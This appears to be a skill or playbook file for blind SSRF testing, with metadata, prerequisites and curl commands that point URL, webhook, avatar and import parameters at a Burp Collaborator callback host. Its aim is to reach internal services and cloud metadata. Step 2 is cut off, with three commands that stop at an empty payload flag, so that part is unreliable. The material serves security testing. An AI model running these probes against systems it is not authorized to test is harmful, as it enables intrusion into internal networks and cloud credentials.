performing-blind-ssrf-exploitation

name	performing-blind-ssrf-exploitation
description	Detect and exploit blind Server-Side Request Forgery (SSRF) using out-of-band techniques such as Burp Collaborator DNS interactions and timing analysis, to reach internal services and cloud metadata endpoints even when server responses are not reflected. Use when testing URL/webhook parameters, PDF generators, image processors, or import/preview features where SSRF output cannot be observed directly.
domain	cybersecurity
subdomain	web-application-security
tags	["blind-ssrf","ssrf","out-of-band","burp-collaborator","cloud-metadata","internal-network","oob-detection"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
mitre_attack	["T1190","T1059.007","T1505.003","T1083","T1078.004"]

Performing Blind SSRF Exploitation

When to Use

• When testing URL/webhook input parameters where server-side responses are not reflected
• During assessment of applications that fetch external resources (avatars, previews, imports)
• When testing PDF generators, image processors, or document converters for SSRF
• During cloud security assessments to detect metadata endpoint access
• When evaluating webhook functionality and URL validation implementations

Prerequisites

• Burp Suite Professional with Burp Collaborator for OOB detection
• interact.sh or webhook.site for external callback monitoring
• Understanding of SSRF attack vectors and internal network enumeration
• Knowledge of cloud metadata endpoints (AWS, GCP, Azure)
• VPS or controlled server for advanced exploitation callback handling
• Python with requests library for automation scripts

Workflow

Step 1 — Identify Blind SSRF Input Points

# Common SSRF-susceptible parameters:
# url=, uri=, path=, dest=, redirect=, src=, source=
# link=, imageURL=, callback=, webhook=, feed=, import=

# Test URL fetch functionality
curl -X POST http://target.com/api/fetch-url \
  -H "Content-Type: application/json" \
  -d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'

# Test webhook configuration
curl -X POST http://target.com/api/webhooks \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'

# Test image/avatar URL
curl -X POST http://target.com/api/profile/avatar \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'

# Test document import
curl -X POST http://target.com/api/import \
  -H "Content-Type: application/json" \
  -d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'

Step 2 — Confirm Blind SSRF with Out-of-Band Detection

curl -X POST http://target.com/api/fetch \
  -d 



curl -X POST http://target.com/api/fetch \
  -d 



curl -X POST http://target.com/api/fetch \
  -d